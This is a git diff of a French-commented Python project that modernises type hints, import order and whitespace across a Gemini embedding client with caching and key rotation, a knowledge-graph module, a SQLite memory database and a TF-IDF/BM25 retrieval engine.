@@ def _embed_batch(self, texts: List[str]) -> List[List[float]]: current_key = next_key # Passer directement à l'essai suivant avec la nouvelle clé sans attendre continue - + # Pas d'autre clé ou clé fixe, on attend logger.warning(f"[Gemini Embedding] 429 détecté (tentative {attempt}/{max_attempts}). Pause de {backoff}s...") import time time.sleep(backoff) backoff *= 1.5 continue - + resp.raise_for_status() if pool and not self._api_key: pool.report_success(current_key) - + data = resp.json() - + embeddings = [] for emb in data.get("embeddings", []): values = emb.get("values", []) embeddings.append(values) - + # Tracking des tokens (estimation : 1 token ≈ 4 chars) try: from core.token_tracker import record_usage @@ -254,14 +255,14 @@ def _embed_batch(self, texts: List[str]) -> List[List[float]]: record_usage(self._model, estimated_tokens, 0) except Exception: pass - + logger.debug( f"[Gemini Embedding] Batch de {len(texts)} textes encodé " f"({len(embeddings)} vecteurs × {self._dimension} dims)" ) - + return embeddings - + except requests.exceptions.HTTPError as e: status = e.response.status_code if e.response else "?" if status == 429: @@ -270,7 +271,7 @@ def _embed_batch(self, texts: List[str]) -> List[List[float]]: time.sleep(backoff) backoff *= 1.5 continue - + body = e.response.text[:300] if e.response else "" logger.error(f"[Gemini Embedding] Erreur HTTP {status} : {body}") if attempt == max_attempts: @@ -285,9 +286,9 @@ def _embed_batch(self, texts: List[str]) -> List[List[float]]: import time time.sleep(backoff) backoff *= 1.5 - + raise RuntimeError(f"Échec de génération d'embeddings après {max_attempts} tentatives.") - + def embed_query(self, input): """Interface ChromaDB 1.5+ : embed une ou plusieurs requêtes (RETRIEVAL_QUERY). @@ -306,7 +307,7 @@ def embed_query(self, input): return self._embed_query_single(input) return [self._embed_query_single(text) for text in input] - def _embed_query_single(self, text: str) -> List[float]: + def _embed_query_single(self, text: str) -> list[float]: """Embed un seul texte de requête (task_type=RETRIEVAL_QUERY). Utilise un cache SQLite local (memory.db) pour éviter les appels réseau redondants. @@ -314,10 +315,10 @@ def _embed_query_single(self, text: str) -> List[float]: """ if not text: return [] - + normalized_text = text.strip().lower() query_hash = hashlib.md5(normalized_text.encode('utf-8')).hexdigest() - + # 1. Tenter d'abord une correspondance par hash exact (ultra-rapide) try: from memory.memory_db import MemoryDB @@ -328,39 +329,40 @@ def _embed_query_single(self, text: str) -> List[float]: return cached_emb except Exception as cache_err: logger.warning(f"[Gemini Embedding] Échec lecture cache SQLite : {cache_err}") - + # 2. Tenter une recherche de similarité sémantique approchée locale (seuil >= 0.97) try: - import numpy as np import chromadb.utils.embedding_functions as ef + import numpy as np + from memory.memory_db import MemoryDB - + db = MemoryDB.get_instance() cached_entries = db.get_all_cached_query_embeddings() if cached_entries: if not hasattr(self, "_local_embed_fn") or self._local_embed_fn is None: self._local_embed_fn = ef.DefaultEmbeddingFunction() - + local_emb_query = np.array(self._local_embed_fn([normalized_text])[0], dtype=np.float32) norm_query = np.linalg.norm(local_emb_query) - + if norm_query > 0: best_score = -1.0 best_entry = None - + if not hasattr(self, "_local_emb_cache"): self._local_emb_cache = {} - + for entry in cached_entries: text_cached = entry["query_text"] - + if text_cached not in self._local_emb_cache: try: emb = self._local_embed_fn([text_cached])[0] self._local_emb_cache[text_cached] = np.array(emb, dtype=np.float32) except Exception: continue - + local_emb_cached = self._local_emb_cache[text_cached] norm_cached = np.linalg.norm(local_emb_cached) if norm_cached > 0: @@ -368,7 +370,7 @@ def _embed_query_single(self, text: str) -> List[float]: if score > best_score: best_score = score best_entry = entry - + if best_score >= 0.96: logger.info( f"[Gemini Embedding] Query cache hit sémantique (score={best_score:.4f} >= 0.96) pour : " @@ -377,7 +379,7 @@ def _embed_query_single(self, text: str) -> List[float]: return best_entry["embedding"] except Exception as sem_err: logger.debug(f"[Gemini Embedding] Échec recherche sémantique locale : {sem_err}") - + # 3. Cache miss : Appel réseau API Gemini try: from core.key_pool import get_key_pool @@ -388,10 +390,10 @@ def _embed_query_single(self, text: str) -> List[float]: current_key = self._api_key if not current_key and pool: current_key = pool.get_free_key() - + if not current_key: current_key = os.environ.get("GEMINI_API_KEY") - + if not current_key: raise ValueError("Aucune clé API Gemini disponible pour générer des embeddings") @@ -400,10 +402,10 @@ def _embed_query_single(self, text: str) -> List[float]: "content": {"parts": [{"text": text[:40000]}]}, "taskType": "RETRIEVAL_QUERY", } - + max_attempts = 4 backoff = 10.0 - + for attempt in range(1, max_attempts + 1): url = ( f"{self._base_url}/models/{self._model}:embedContent" @@ -416,7 +418,7 @@ def _embed_query_single(self, text: str) -> List[float]: json=payload, timeout=(5.0, 30.0), ) - + # Rotation automatique de clé sur 429 if resp.status_code == 429: if pool and not self._api_key: @@ -426,20 +428,20 @@ def _embed_query_single(self, text: str) -> List[float]: logger.warning(f"[Gemini Embedding] 429 détecté pour query. Rotation vers la clé {next_key[:6]}...") current_key = next_key continue - + logger.warning(f"[Gemini Embedding] 429 détecté pour query (tentative {attempt}/{max_attempts}). Pause de {backoff}s...") import time time.sleep(backoff) backoff *= 1.5 continue - + resp.raise_for_status() if pool and not self._api_key: pool.report_success(current_key) - + data = resp.json() embedding = data.get("embedding", {}).get("values", []) - + # Enregistrer l'embedding dans le cache SQLite if embedding: try: @@ -447,7 +449,7 @@ def _embed_query_single(self, text: str) -> List[float]: db = MemoryDB.get_instance() db.store_query_embedding_cache(query_hash, normalized_text, embedding) logger.debug(f"[Gemini Embedding] Enregistré dans le cache SQLite : '{normalized_text[:50]}...'") - + if hasattr(self, "_local_embed_fn") and self._local_embed_fn is not None: if not hasattr(self, "_local_emb_cache"): self._local_emb_cache = {} @@ -455,9 +457,9 @@ def _embed_query_single(self, text: str) -> List[float]: self._local_emb_cache[normalized_text] = np.array(local_emb, dtype=np.float32) except Exception as save_err: logger.warning(f"[Gemini Embedding] Impossible de sauvegarder l'embedding dans le cache : {save_err}") - + return embedding - + except requests.exceptions.HTTPError as e: status = e.response.status_code if e.response else "?" if status == 429: @@ -478,6 +480,6 @@ def _embed_query_single(self, text: str) -> List[float]: import time time.sleep(backoff) backoff *= 1.5 - + raise RuntimeError(f"Échec de génération de l'embedding de query après {max_attempts} tentatives.") diff --git a/memory/graph.py b/memory/graph.py index 3c60ab7..a4186ee 100644 --- a/memory/graph.py +++ b/memory/graph.py @@ -2,17 +2,17 @@ memory/graph.py — Gestion du graphe de connaissances (entités, relations, Garbage Collection, liaisons fait-entité). """ -import time import json import logging import sqlite3 -from typing import List, Dict, Any +import time +from typing import Any logger = logging.getLogger(__name__) def upsert_graph_entity(db, name: str, entity_type: str, - observations: List[str] = None) -> int: + observations: list[str] = None) -> int: """Insère ou met à jour une entité du graphe.""" now = time.time() obs_json = json.dumps(observations or [], ensure_ascii=False) @@ -69,7 +69,7 @@ def upsert_graph_relation(db, from_entity: str, to_entity: str, conn.close() -def search_graph(db, query: str, limit: int = 10) -> Dict[str, Any]: +def search_graph(db, query: str, limit: int = 10) -> dict[str, Any]: """Recherche dans les entités et leurs observations.""" conn = db._get_conn() try: @@ -114,7 +114,7 @@ def search_graph(db, query: str, limit: int = 10) -> Dict[str, Any]: conn.close() -def get_full_graph(db) -> Dict[str, Any]: +def get_full_graph(db) -> dict[str, Any]: """Retourne le graphe complet (toutes les entités et relations).""" conn = db._get_conn() try: @@ -144,7 +144,7 @@ def get_full_graph(db) -> Dict[str, Any]: def gc_graph_entities(db, max_observations: int = 15, - max_age_days: int = 30) -> Dict[str, int]: + max_age_days: int = 30) -> dict[str, int]: """Garbage Collection du graphe de connaissances.""" now = time.time() max_age_ts = now - (max_age_days * 24 * 3600) @@ -208,7 +208,7 @@ def gc_graph_entities(db, max_observations: int = 15, async def gc_graph_entities_async(db, max_observations: int = 15, - max_age_days: int = 30) -> Dict[str, int]: + max_age_days: int = 30) -> dict[str, int]: """Garbage Collection asynchrone du graphe de connaissances.""" now = time.time() max_age_ts = now - (max_age_days * 24 * 3600) @@ -266,7 +266,7 @@ async def gc_graph_entities_async(db, max_observations: int = 15, async def upsert_graph_entity_async(db, name: str, entity_type: str, - observations: List[str] = None) -> int: + observations: list[str] = None) -> int: """Insère ou met à jour asynchronement une entité du graphe.""" now = time.time() obs_json = json.dumps(observations or [], ensure_ascii=False) @@ -321,7 +321,7 @@ def link_fact_to_entity(db, fact_id: int, entity_name: str) -> bool: conn.close() -def get_connected_facts_for_entity(db, entity_name: str, limit: int = 5) -> List[Dict]: +def get_connected_facts_for_entity(db, entity_name: str, limit: int = 5) -> list[dict]: """Récupère les faits (leçons) liés à une entité du graphe.""" conn = db._get_conn() try: @@ -340,7 +340,7 @@ def get_connected_facts_for_entity(db, entity_name: str, limit: int = 5) -> List conn.close() -def get_connected_entities_for_fact(db, fact_id: int) -> List[Dict]: +def get_connected_entities_for_fact(db, fact_id: int) -> list[dict]: """Récupère les entités du graphe liées à un fait.""" conn = db._get_conn() try: @@ -377,7 +377,7 @@ async def link_fact_to_entity_async(db, fact_id: int, entity_name: str) -> bool: await conn.close() -async def get_connected_facts_for_entity_async(db, entity_name: str, limit: int = 5) -> List[Dict]: +async def get_connected_facts_for_entity_async(db, entity_name: str, limit: int = 5) -> list[dict]: """Récupère asynchronement les faits liés à une entité.""" conn = await db._get_conn_async() try: diff --git a/memory/memory_db.py b/memory/memory_db.py index 0e7c739..388f570 100644 --- a/memory/memory_db.py +++ b/memory/memory_db.py @@ -14,15 +14,15 @@ Dernière mise à jour : 2026-06-16 (Refactoring v12.1.0) """ +import asyncio +import logging import os import sqlite3 -import time -import logging -import threading import struct -import asyncio -from typing import Optional, Dict, List, Any +import threading +import time from dataclasses import dataclass +from typing import Any, Optional logger = logging.getLogger("memory.memory_db") @@ -76,10 +76,10 @@ class MemoryDB: facts = db.search_facts("audio Tab5") db.upsert_fact(category="esphome", title="Bug DAC", content="...", ...) """ - + _instance: Optional['MemoryDB'] = None _lock = threading.Lock() - + @classmethod def get_instance(cls, db_path: str = DEFAULT_DB_PATH) -> 'MemoryDB': """Retourne le singleton de la base de données mémoire.""" @@ -88,13 +88,13 @@ def get_instance(cls, db_path: str = DEFAULT_DB_PATH) -> 'MemoryDB': if cls._instance is None: cls._instance = cls(db_path) return cls._instance - + def __init__(self, db_path: str = DEFAULT_DB_PATH): self._db_path = db_path self._write_lock = threading.RLock() self._write_lock_async = asyncio.Lock() self._init_db() - + def _get_conn(self) -> sqlite3.Connection: """Crée une connexion SQLite avec mode WAL et row_factory.""" conn = sqlite3.connect(self._db_path, timeout=10) @@ -113,7 +113,7 @@ async def _get_conn_async(self): await conn.execute("PRAGMA foreign_keys=ON") conn.row_factory = aiosqlite.Row return conn - + def _init_db(self): """Initialise le schéma de la base de données.""" conn = self._get_conn() @@ -138,7 +138,7 @@ def _init_db(self): ) """ ) - + # Index sur titre et catégorie conn.execute( "CREATE INDEX IF NOT EXISTS idx_facts_cat ON facts(category)" @@ -146,7 +146,7 @@ def _init_db(self): conn.execute( "CREATE INDEX IF NOT EXISTS idx_facts_relevance ON facts(relevance_score)" ) - + # Table FTS5 pour recherche plein texte ultra-rapide (BM25) # FTS5 requiert SQLite 3.9+ (présent dans Python 3.6+) try: @@ -161,7 +161,7 @@ def _init_db(self): ) """ ) - + # Triggers pour maintenir la table FTS synchrone conn.execute( """ @@ -224,7 +224,7 @@ def _init_db(self): ) """ ) - + # Table des relations du graphe conn.execute( """ @@ -246,7 +246,7 @@ def _init_db(self): conn.execute( "CREATE INDEX IF NOT EXISTS idx_rels_to ON graph_relations(to_entity)" ) - + # Table des leçons apprises (skills / optimisations) conn.execute( """ @@ -262,7 +262,7 @@ def _init_db(self): """ ) - # Table de cache d'embeddings des requêtes utilisateur + # Table de cache d'embeddings des requêtes utilisateur conn.execute( """ CREATE TABLE IF NOT EXISTS query_embeddings_cache ( @@ -293,7 +293,7 @@ def _init_db(self): "CREATE INDEX IF NOT EXISTS idx_emb_source ON embeddings(source_type, source_id)" ) - # Table de liaison fait-entité pour Graph-RAG relationnel + # Table de liaison fait-entité pour Graph-RAG relationnel conn.execute( """ CREATE TABLE IF NOT EXISTS fact_entity_links ( @@ -316,7 +316,7 @@ def _init_db(self): ) """ ) - + conn.commit() logger.info(f"[MEMORY DB] Base initialisée : {self._db_path}") finally: @@ -329,7 +329,7 @@ def _init_db(self): # ────────────────────────────────────────────────────────────── # EMBEDDINGS # ────────────────────────────────────────────────────────────── - + def store_embedding(self, source_type: str, source_id: str, chunk_text: str, embedding: bytes, model_name: str = "gemini-embedding-2", @@ -350,9 +350,9 @@ def store_embedding(self, source_type: str, source_id: str, return cursor.lastrowid finally: conn.close() - + def get_embeddings_by_source(self, source_type: str, - source_id: str = None) -> List[Dict]: + source_id: str = None) -> list[dict]: """Récupère les embeddings d'une source.""" conn = self._get_conn() try: @@ -369,8 +369,8 @@ def get_embeddings_by_source(self, source_type: str, return [dict(r) for r in rows] finally: conn.close() - - def get_cached_query_embedding(self, query_hash: str) -> Optional[List[float]]: + + def get_cached_query_embedding(self, query_hash: str) -> list[float] | None: """Récupère l'embedding d'une requête depuis le cache SQLite s'il existe .""" conn = self._get_conn() try: @@ -390,7 +390,7 @@ def get_cached_query_embedding(self, query_hash: str) -> Optional[List[float]]: conn.close() def store_query_embedding_cache(self, query_hash: str, query_text: str, - embedding: List[float]) -> None: + embedding: list[float]) -> None: """Enregistre l'embedding d'une requête dans le cache SQLite .""" now = time.time() try: @@ -410,7 +410,7 @@ def store_query_embedding_cache(self, query_hash: str, query_text: str, except Exception as e: logger.warning(f"[MEMORY DB] Erreur d'écriture dans le cache d'embeddings : {e}") - def get_all_cached_query_embeddings(self) -> List[Dict[str, Any]]: + def get_all_cached_query_embeddings(self) -> list[dict[str, Any]]: """Récupère l'intégralité du cache des requêtes avec leurs embeddings .""" conn = self._get_conn() try: @@ -434,11 +434,11 @@ def get_all_cached_query_embeddings(self) -> List[Dict[str, Any]]: return [] finally: conn.close() - + # ────────────────────────────────────────────────────────────── # SYNC & METADATA # ────────────────────────────────────────────────────────────── - + def set_sync_metadata(self, key: str, value: str): """Enregistre une métadonnée de synchronisation.""" now = time.time() @@ -453,8 +453,8 @@ def set_sync_metadata(self, key: str, value: str): conn.commit() finally: conn.close() - - def get_sync_metadata(self, key: str) -> Optional[str]: + + def get_sync_metadata(self, key: str) -> str | None: """Récupère une métadonnée de synchronisation.""" conn = self._get_conn() try: @@ -464,8 +464,8 @@ def get_sync_metadata(self, key: str) -> Optional[str]: return row["value"] if row else None finally: conn.close() - - def get_stats(self) -> Dict[str, Any]: + + def get_stats(self) -> dict[str, Any]: """Retourne les statistiques globales de la base.""" conn = self._get_conn() try: @@ -475,10 +475,10 @@ def get_stats(self) -> Dict[str, Any]: relations_count = conn.execute("SELECT COUNT(*) as c FROM graph_relations").fetchone()["c"] skills_count = conn.execute("SELECT COUNT(*) as c FROM skills").fetchone()["c"] embeddings_count = conn.execute("SELECT COUNT(*) as c FROM embeddings").fetchone()["c"] - + # Taille du fichier db_size = os.path.getsize(self._db_path) if os.path.exists(self._db_path) else 0 - + return { "db_path": self._db_path, "db_size_kb": round(db_size / 1024, 1), @@ -505,15 +505,15 @@ def upsert_fact(self, category: str, title: str, content: str, return upsert_fact(self, category, title, content, source_file, tags, commit_hash, severity) def search_facts(self, query: str, category: str = None, - limit: int = 10) -> List[Dict]: + limit: int = 10) -> list[dict]: from .facts import search_facts return search_facts(self, query, category, limit) - def get_facts_by_category(self, category: str) -> List[Dict]: + def get_facts_by_category(self, category: str) -> list[dict]: from .facts import get_facts_by_category return get_facts_by_category(self, category) - def get_all_facts_count(self) -> Dict[str, int]: + def get_all_facts_count(self) -> dict[str, int]: from .facts import get_all_facts_count return get_all_facts_count(self) @@ -526,7 +526,7 @@ def touch_fact(self, fact_id: int) -> bool: from .facts import touch_fact return touch_fact(self, fact_id) - def search_facts_weighted(self, query: str, limit: int = 10) -> List[Dict]: + def search_facts_weighted(self, query: str, limit: int = 10) -> list[dict]: from .facts import search_facts_weighted return search_facts_weighted(self, query, limit) @@ -534,7 +534,7 @@ def ensure_facts_columns(self) -> None: from .facts import _ensure_facts_columns _ensure_facts_columns(self) - def get_stale_facts(self, threshold: float = 0.3) -> List[Dict]: + def get_stale_facts(self, threshold: float = 0.3) -> list[dict]: from .facts import get_stale_facts return get_stale_facts(self, threshold) @@ -556,7 +556,7 @@ def upsert_episode(self, session_date: str, session_folder: str, from .episodes import upsert_episode return upsert_episode(self, session_date, session_folder, summary, category, tags, source_file) - def search_episodes(self, query: str, limit: int = 10) -> List[Dict]: + def search_episodes(self, query: str, limit: int = 10) -> list[dict]: from .episodes import search_episodes return search_episodes(self, query, limit) @@ -568,7 +568,7 @@ async def upsert_episode_async(self, session_date: str, session_folder: str, # --- Graph (memory/graph.py) --- def upsert_graph_entity(self, name: str, entity_type: str, - observations: List[str] = None) -> int: + observations: list[str] = None) -> int: from .graph import upsert_graph_entity return upsert_graph_entity(self, name, entity_type, observations) @@ -577,26 +577,26 @@ def upsert_graph_relation(self, from_entity: str, to_entity: str, from .graph import upsert_graph_relation return upsert_graph_relation(self, from_entity, to_entity, relation_type) - def search_graph(self, query: str, limit: int = 10) -> Dict[str, Any]: + def search_graph(self, query: str, limit: int = 10) -> dict[str, Any]: from .graph import search_graph return search_graph(self, query, limit) - def get_full_graph(self) -> Dict[str, Any]: + def get_full_graph(self) -> dict[str, Any]: from .graph import get_full_graph return get_full_graph(self) def gc_graph_entities(self, max_observations: int = 15, - max_age_days: int = 30) -> Dict[str, int]: + max_age_days: int = 30) -> dict[str, int]: from .graph import gc_graph_entities return gc_graph_entities(self, max_observations, max_age_days) async def gc_graph_entities_async(self, max_observations: int = 15, - max_age_days: int = 30) -> Dict[str, int]: + max_age_days: int = 30) -> dict[str, int]: from .graph import gc_graph_entities_async return await gc_graph_entities_async(self, max_observations, max_age_days) async def upsert_graph_entity_async(self, name: str, entity_type: str, - observations: List[str] = None) -> int: + observations: list[str] = None) -> int: from .graph import upsert_graph_entity_async return await upsert_graph_entity_async(self, name, entity_type, observations) @@ -604,11 +604,11 @@ def link_fact_to_entity(self, fact_id: int, entity_name: str) -> bool: from .graph import link_fact_to_entity return link_fact_to_entity(self, fact_id, entity_name) - def get_connected_facts_for_entity(self, entity_name: str, limit: int = 5) -> List[Dict]: + def get_connected_facts_for_entity(self, entity_name: str, limit: int = 5) -> list[dict]: from .graph import get_connected_facts_for_entity return get_connected_facts_for_entity(self, entity_name, limit) - def get_connected_entities_for_fact(self, fact_id: int) -> List[Dict]: + def get_connected_entities_for_fact(self, fact_id: int) -> list[dict]: from .graph import get_connected_entities_for_fact return get_connected_entities_for_fact(self, fact_id) @@ -616,7 +616,7 @@ async def link_fact_to_entity_async(self, fact_id: int, entity_name: str) -> boo from .graph import link_fact_to_entity_async return await link_fact_to_entity_async(self, fact_id, entity_name) - async def get_connected_facts_for_entity_async(self, entity_name: str, limit: int = 5) -> List[Dict]: + async def get_connected_facts_for_entity_async(self, entity_name: str, limit: int = 5) -> list[dict]: from .graph import get_connected_facts_for_entity_async return await get_connected_facts_for_entity_async(self, entity_name, limit) @@ -624,11 +624,11 @@ async def get_connected_facts_for_entity_async(self, entity_name: str, limit: in def record_learned_lesson(self, category: str, title: str, content: str, source_file: str = "", tags: str = "", - severity: str = "minor") -> Dict[str, Any]: + severity: str = "minor") -> dict[str, Any]: from .skills import record_learned_lesson return record_learned_lesson(self, category, title, content, source_file, tags, severity) - def _get_lecon_md_path(self, category: str) -> Optional[str]: + def _get_lecon_md_path(self, category: str) -> str | None: from .skills import _get_lecon_md_path return _get_lecon_md_path(self, category) @@ -640,6 +640,6 @@ def _compute_quality_score(self, title: str, content: str, async def record_learned_lesson_async(self, category: str, title: str, content: str, source_file: str = "", tags: str = "", - severity: str = "minor") -> Dict[str, Any]: + severity: str = "minor") -> dict[str, Any]: from .skills import record_learned_lesson_async return await record_learned_lesson_async(self, category, title, content, source_file, tags, severity) diff --git a/memory/rag.py b/memory/rag.py index 2e298b2..68c3202 100644 --- a/memory/rag.py +++ b/memory/rag.py @@ -1,9 +1,19 @@ -import os -import re -import math +""" +memory/rag.py — Moteur RAG local sur les fichiers de contexte_ia/. + +Indexe les Markdown par sections, calcule la similarité par TF-IDF/BM25 +(synchrone, rapide) avec fallback vectoriel optionnel (ChromaDB ou embeddings +Gemini via memory/embeddings.py). Interface query_similar() compatible avec +l'usage ChromaDB direct. Inclut automatiquement le dernier résumé de session +pour bénéficier des leçons apprises récentes. Consommé par core/factory.py, +memory/aqa.py et api/routes/context.py. +""" import asyncio import logging -from typing import Dict, List, Tuple, Any, Optional +import math +import os +import re +from typing import Any logger = logging.getLogger(__name__) @@ -22,13 +32,13 @@ def __init__(self, doc_dir: str = None): self.doc_dir = os.path.join(base_dir, "contexte_ia") else: self.doc_dir = doc_dir - - self.sections: List[Dict[str, Any]] = [] - self.vocab: Dict[str, int] = {} - self.idf: Dict[str, float] = {} - self.query_cache: Dict[str, str] = {} + + self.sections: list[dict[str, Any]] = [] + self.vocab: dict[str, int] = {} + self.idf: dict[str, float] = {} + self.query_cache: dict[str, str] = {} self.max_cache_size = 50 - + # Module d'embeddings vectoriels (ChromaDB) self._embedding_store = None try: @@ -40,7 +50,7 @@ def __init__(self, doc_dir: str = None): self._embedding_store = None except Exception as emb_err: logger.warning(f"[RAG] Embeddings ChromaDB non disponibles : {emb_err}") - + # Fallback : Recherche vectorielle via memory.db + Gemini Embeddings. # [P2-3.3] Même espace que EmbeddingStore (Gemini gemini-embedding-2) → les # deux backends sont cohérents, aucun mélange d'espaces vectoriels. @@ -74,23 +84,23 @@ def __init__(self, doc_dir: str = None): self._memory_db = None except Exception as db_err: logger.warning(f"[RAG] memory.db non disponible : {db_err}") - + # Liste simplifiée de mots vides (stopwords) français self.stopwords = { "le", "la", "les", "un", "une", "des", "ce", "cet", "cette", "ces", - "de", "du", "des", "d", "l", "s", "se", "en", "et", "ou", "mais", "donc", "or", "ni", "car", + "de", "du", "d", "l", "s", "se", "en", "et", "ou", "mais", "donc", "or", "ni", "car", "a", "à", "aux", "dans", "par", "pour", "sur", "avec", "sans", "sous", "parmi", "qui", "que", "quoi", "dont", "où", "comment", "pourquoi", "quand", "je", "tu", "il", "elle", "nous", "vous", "ils", "elles", "mon", "ton", "son", "est", "es", "suis", "sont", "était", "étaient", "avoir", "être", "faire", "plus", - "pourriez", "pouvez", "faire", "creer", "créer", "fichier", "code", "mettre" + "pourriez", "pouvez", "creer", "créer", "fichier", "code", "mettre" } - + # Indexation des documents au démarrage self.load_documents() self._build_tfidf() - def _tokenize(self, text: str) -> List[str]: + def _tokenize(self, text: str) -> list[str]: """Découpe un texte en mots, passe en minuscules et filtre les stopwords.""" # Garder uniquement les caractères alphanumériques et les tirets/underscores words = re.findall(r'[a-zA-Z0-9_\-]+', text.lower()) @@ -102,7 +112,7 @@ def load_documents(self): if not os.path.exists(self.doc_dir): logger.warning(f"[RAG] Dossier de contexte introuvable : {self.doc_dir}") return - + md_files = [] # Rechercher uniquement dans 01_Core, 02_Hardware, 03_Software subdirs = ["01_Core", "02_Hardware", "03_Software"] @@ -114,7 +124,7 @@ def load_documents(self): for f in files: if f.endswith(('.md', '.markdown')): md_files.append(os.path.join(root, f)) - + # Ajouter également le résumé_session de l'historique le plus récent # pour bénéficier des leçons apprises à chaud hist_dir = os.path.join(self.doc_dir, "historique") @@ -133,24 +143,24 @@ def load_documents(self): for filepath in md_files: try: - with open(filepath, "r", encoding="utf-8", errors="ignore") as f: + with open(filepath, encoding="utf-8", errors="ignore") as f: content = f.read() self._chunk_document(filepath, content) except Exception as e: logger.error(f"[RAG] Erreur lors de la lecture de {filepath} : {e}") - + logger.info(f"[RAG] Indexation terminée. {len(self.sections)} sections indexées.") def _chunk_document(self, filepath: str, content: str): """Découpe un document en sections basées sur les headers Markdown (## ou ###).""" filename = os.path.basename(filepath) category = os.path.basename(os.path.dirname(filepath)) - + # Séparer les sections par en-têtes ## ou ### ou # # regex capturant l'en-tête et le contenu qui suit pattern = r'(^|\n)(#{1,4}\s+[^\n]+)' parts = re.split(pattern, content) - + # Le premier élément peut être l'introduction (avant tout header) intro = parts[0].strip() if intro and len(intro) > 50: @@ -162,7 +172,7 @@ def _chunk_document(self, filepath: str, content: str): "content": intro, "tokens": tokens }) - + # Les éléments suivants viennent par triplets : (delimiters, header, content) # re.split renvoie les groupes capturés comme éléments séparés de la liste i = 1 @@ -172,13 +182,13 @@ def _chunk_document(self, filepath: str, content: str): # parts[i+2] est le contenu de la section jusqu'au prochain header header = parts[i+1].strip() section_content = parts[i+2].strip() if i+2 < len(parts) else "" - + # Nettoyer le header pour avoir le titre propre title = re.sub(r'^#+\s+', '', header) - + full_section_text = f"{title}\n{section_content}" tokens = self._tokenize(full_section_text) - + if tokens and len(section_content) > 20: self.sections.append({ "source": f"{category}/{filename}", @@ -193,9 +203,9 @@ def _build_tfidf(self): num_docs = len(self.sections) if num_docs == 0: return - + # 1. Compter dans combien de documents chaque mot apparaît (DF) - doc_counts: Dict[str, int] = {} + doc_counts: dict[str, int] = {} for sec in self.sections: unique_tokens = set(sec["tokens"]) for t in unique_tokens: @@ -214,7 +224,7 @@ def _build_tfidf(self): # 3. Pré-calculer la norme TF-IDF de chaque section (pour normalisation cosinus) for sec in self.sections: # Calcul des fréquences de termes (TF) - tf_map: Dict[str, int] = {} + tf_map: dict[str, int] = {} for t in sec["tokens"]: tf_map[t] = tf_map.get(t, 0) + 1 @@ -223,7 +233,7 @@ def _build_tfidf(self): # Calcul du vecteur TF-IDF et de sa norme vector_sum_sq = 0.0 - sec_tfidf: Dict[str, float] = {} + sec_tfidf: dict[str, float] = {} for t, tf in tf_map.items(): tfidf_val = tf * self.idf.get(t, 0.0) sec_tfidf[t] = tfidf_val @@ -232,7 +242,7 @@ def _build_tfidf(self): sec["tfidf"] = sec_tfidf sec["norm"] = math.sqrt(vector_sum_sq) - def _bm25_score(self, query_tokens: List[str], section: Dict[str, Any]) -> float: + def _bm25_score(self, query_tokens: list[str], section: dict[str, Any]) -> float: """ Scoring BM25 (k1=1.5, b=0.75) pour une section donnée. Complémentaire au TF-IDF : meilleur pour les correspondances exactes. @@ -271,7 +281,7 @@ def _bm25_score(self, query_tokens: List[str], section: Dict[str, Any]) -> float return score async def query_async(self, user_query: str, top_n: int = 3, - allowed_categories: Optional[List[str]] = None) -> str: + allowed_categories: list[str] | None = None) -> str: """[#T61] Variante asynchrone de `query`. `query` est synchrone et déclenche, via le scoring vectoriel, l'embedding @@ -285,7 +295,7 @@ async def query_async(self, user_query: str, top_n: int = 3, ) def query(self, user_query: str, top_n: int = 3, - allowed_categories: Optional[List[str]] = None) -> str: + allowed_categories: list[str] | None = None) -> str: """ Recherche hybride TF-IDF + BM25 avec fusion RRF (Reciprocal Rank Fusion). Gère un cache LRU simple pour accélérer les requêtes récurrentes. @@ -296,17 +306,17 @@ def query(self, user_query: str, top_n: int = 3, """ if not user_query: return "" - + # Normaliser la requête pour la clé de cache cache_key = user_query.strip().lower() if cache_key in self.query_cache: logger.debug(f"[RAG] Query cache hit pour : {user_query[:50]}...") return self.query_cache[cache_key] - + query_tokens = self._tokenize(user_query) if not query_tokens or not self.sections: return "" - + # Filtrage par catégories : restreindre les sections candidates # aux fichiers correspondant aux catégories détectées par le Router. active_sections = self.sections @@ -321,7 +331,7 @@ def query(self, user_query: str, top_n: int = 3, # Les sources dans self.sections sont au format "catégorie/fichier.md" # ex: "02_Hardware/rules_esphome.md" allowed_files.add(rel_path) - + if allowed_files: active_sections = [ sec for sec in self.sections @@ -334,28 +344,28 @@ def query(self, user_query: str, top_n: int = 3, ) except ImportError: logger.warning("[RAG] Import CATEGORY_FILES_MAP échoué, filtrage désactivé") - + # 1. Calculer le vecteur TF-IDF de la requête - query_tf: Dict[str, int] = {} + query_tf: dict[str, int] = {} for t in query_tokens: query_tf[t] = query_tf.get(t, 0) + 1 - - query_tfidf: Dict[str, float] = {} + + query_tfidf: dict[str, float] = {} query_sum_sq = 0.0 for t, tf in query_tf.items(): tfidf_val = tf * self.idf.get(t, 0.0) query_tfidf[t] = tfidf_val query_sum_sq += tfidf_val ** 2 - + query_norm = math.sqrt(query_sum_sq) if query_norm == 0.0: return "" - + # 2. Scoring TF-IDF (cosinus) pour chaque section (filtrée si catégories spécifiées) # Construire un set d'indices valides pour le filtrage par catégories active_indices = set(self.sections.index(s) for s in active_sections) if allowed_categories else None - - tfidf_scores: List[Tuple[float, int]] = [] # (score, index) + + tfidf_scores: list[tuple[float, int]] = [] # (score, index) for idx, sec in enumerate(self.sections): if active_indices is not None and idx not in active_indices: continue @@ -370,33 +380,33 @@ def query(self, user_query: str, top_n: int = 3, similarity = dot_product / (query_norm * sec_norm) if similarity > 0.01: tfidf_scores.append((similarity, idx)) - + # 3. Scoring BM25 pour chaque section - bm25_scores: List[Tuple[float, int]] = [] # (score, index) + bm25_scores: list[tuple[float, int]] = [] # (score, index) for idx, sec in enumerate(self.sections): if active_indices is not None and idx not in active_indices: continue bm25 = self._bm25_score(query_tokens, sec) if bm25 > 0.01: bm25_scores.append((bm25, idx)) - + # 4. Fusion par Reciprocal Rank Fusion (RRF) — k=60 (standard) k_rrf = 60 - rrf_scores: Dict[int, float] = {} - + rrf_scores: dict[int, float] = {} + # Classement TF-IDF tfidf_scores.sort(key=lambda x: x[0], reverse=True) for rank, (score, idx) in enumerate(tfidf_scores): rrf_scores[idx] = rrf_scores.get(idx, 0.0) + 1.0 / (k_rrf + rank + 1) - + # Classement BM25 bm25_scores.sort(key=lambda x: x[0], reverse=True) for rank, (score, idx) in enumerate(bm25_scores): rrf_scores[idx] = rrf_scores.get(idx, 0.0) + 1.0 / (k_rrf + rank + 1) - + # 5. Trier par score RRF fusionne et prendre le top-N sorted_rrf = sorted(rrf_scores.items(), key=lambda x: x[1], reverse=True) - + # Scoring vectoriel via ChromaDB 